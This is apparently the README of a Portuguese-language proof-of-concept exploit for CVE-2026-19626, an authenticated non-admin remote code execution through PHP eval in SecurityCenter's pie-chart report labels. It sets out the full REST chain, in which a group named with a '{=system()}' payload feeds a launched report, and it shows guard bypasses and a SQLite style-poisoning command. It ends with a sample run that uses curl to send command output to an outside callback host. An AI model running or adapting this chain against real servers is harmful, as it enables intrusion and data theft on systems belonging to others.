
Exploit de prova de conceito para CVE-2026-19626, uma execução remota de código autenticada na geração de relatórios do SecurityCenter, demonstrando uma cadeia sem privilégios de administrador via injeção de nome de grupo e eval em PHP.

Status: CONFIRMADO — puramente REMOTO, não-admin, somente REST (laboratório 6.7.2-14.el9, 2026-08-21).
A cadeia armada (isto é o que o poc.py faz):
POST /rest/group com name: "{=system('<cmd>')}" — chaves/aspas aceitas
literalmente (o controller de grupos não tem verificação de charset)POST /rest/reportDefinition — relatório PDF, um componente pieChart,
consulta user/sumgroup, labelColumns: groupIDPOST /rest/reportDefinition/{id}/launchsubstituteParams() substitui o placeholder pelo
nome do grupo ANTES do loop de eval de executar — o payload cai dentro
da string de formato e dispara como tns{label}{=...}eval("$expr = system('<cmd>');")system() é substituído de volta no label — a saída do
comando é renderizada na legenda do gráfico de pizza do relatório final (o canal de exfiltração)Marcador /tmp/pwn_label criado por esta cadeia exata (sem acesso a DB, sem escrita de estilo,
sem upload de arquivo). Observe que o grupo com zero membros ainda produz um setor — a
agregação sumgroup o inclui.
Adicionalmente confirmado por invocação direta e envenenamento de estilo por pipeline completo (ver
histórico abaixo): o sink de eval está ativo na substituteParams() distribuída, e um
atributo de estilo legendFormat padrão envenenado dispara em QUALQUER renderização de gráfico de pizza,
incluindo relatórios não pertencentes a admin.
Ressalva de entrega (por que o PoC puramente REST estagna): o objeto style embutido
da definição do relatório — onde o PoC planta legendFormat/labelFormat — é armazenado
literalmente em xmlDefinition mas descartado na renderização: getReport(CONTEXT_RENDER)
reidrata os componentes a partir das tabelas normalizadas e sobrescreve
$component['style'] com StyleLib::getComponentStyle() (buscado por styleID).
O controller de importação de estilo existe (Styles::add, analisa um arquivo XML enviado via
xmlToStyles, com a verificação admin-only comentada) mas nenhuma rota para ele é exposta —
uma rajada de 12 verbos/caminhos (style, styles, style::add, style/import ×
POST/PUT/PATCH, com um nome de arquivo em staging válido) todos retornam erro 10, e o bundle
da UI contém zero chamadas a endpoints de estilo. A entrega puramente remota portanto exige um
caminho de escrita de estilo que o 6.7.2 não expõe; a cadeia renderizada foi demonstrada
via o atributo de estilo diretamente.
/opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 e anteriores):
eval("\$expr = {$exprs[1]};") em substituteParams(). As strings de
formato de legenda/label de gráficos de pizza ($style['legendFormat'] / $style['labelFormat'],
linhas 4952/4983) suportam placeholders {=<aritmético>}, ex.: o padrão embutido
{={sector}+1}. O corpo da expressão é conteúdo de definição de relatório fornecido pelo usuário →
PHP arbitrário.eval("\$sectorLabels->setBackground($labelStyle);") com
labelStyling vindo do estilo do gráfico. A proteção do 6.8.0 era
if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rejeita somente ;;
system('cmd') passa.if (is_callable($matches['name'])) para especificações de forma de barra como
circleShape(10). system(id) passa pela porta. O comentário da correção no 6.9.0 afirma
diretamente: "is_callable() NÃO é uma porta segura (is_callable("system") === true)".Qualquer usuário da organização com direitos de definição de relatório alcança os três na
renderização (generateReport.php / Jobd). ReportDefinitions::launch() recusa ROLE_ADMIN —
a classe de bug é explicitamente não-admin.
A saída do comando é substituída de volta no texto do label, então o relatório renderizado é o canal de exfiltração.
eval() removido; expressões {=...} restritas a
/^[0-9.\s()+\-*\/]+/ e avaliadas por um tokenizador; resolveLabelStyleArgs() analisa
estilização de label em uma lista de argumentos; isAllowedBarShapeFunction() com allowlist de
parâmetros somente numéricos.
./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
Injeção de label no nome do grupo (a cadeia remota acima): cria o grupo com nome-payload,
monta o relatório sumgroup, lança e faz polling pelo resultado renderizado — a
saída do comando aparece na legenda do gráfico de pizza do relatório final. Restrição do
payload: sem caracteres } (o regex {=...} é não-guloso até a primeira
chave); a saída do comando viaja pela substituição do label, então leia-a do relatório
ou verifique via marcador/temporização.
style.legendFormat/labelFormat embutido da definição é armazenado literalmente em
xmlDefinition mas descartado na renderização — componentes reidratam estilos das
tabelas de Style via styleID (o contexto de renderização do ReportDefinitionLib sobrescreve
$component['style'] com StyleLib::getComponentStyle()).Styles::add, verificação admin comentada,
analisa um XML enviado via xmlToStyles) mas nenhuma rota está conectada — 12
combinações verbo/caminho (incl. sub-recurso /rest/style/{id}) todas retornam erro 10,
e o bundle da UI contém zero chamadas a endpoints de estilo.{label} precede o
loop de eval, então QUALQUER label influenciado por atacante (nome de grupo aqui; campos
de perfil de usuário e hostnames de ativos escaneados têm a mesma forma) carrega o payload.# sink direto (na máquina)
/opt/sc/support/bin/php /tmp/t.php # requer defines+phpchartdir+ReportChartingLib
# envenenamento de estilo (root) + qualquer lançamento de relatório
/opt/sc/support/bin/sqlite3 /opt/sc/application.db \
"UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
WHERE attribute='legendFormat' AND styleID IN (19,20)"
# restaurar: DELETE dessas linhas de atributo (volta aos padrões embutidos)
$ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
[*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
[+] authenticated, token 21137241...
[+] created group carrying payload name (id 9)
[+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
[+] report launched — chart render evals the group-name payload
[*] waiting for output callback ...
[+] command output:
uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0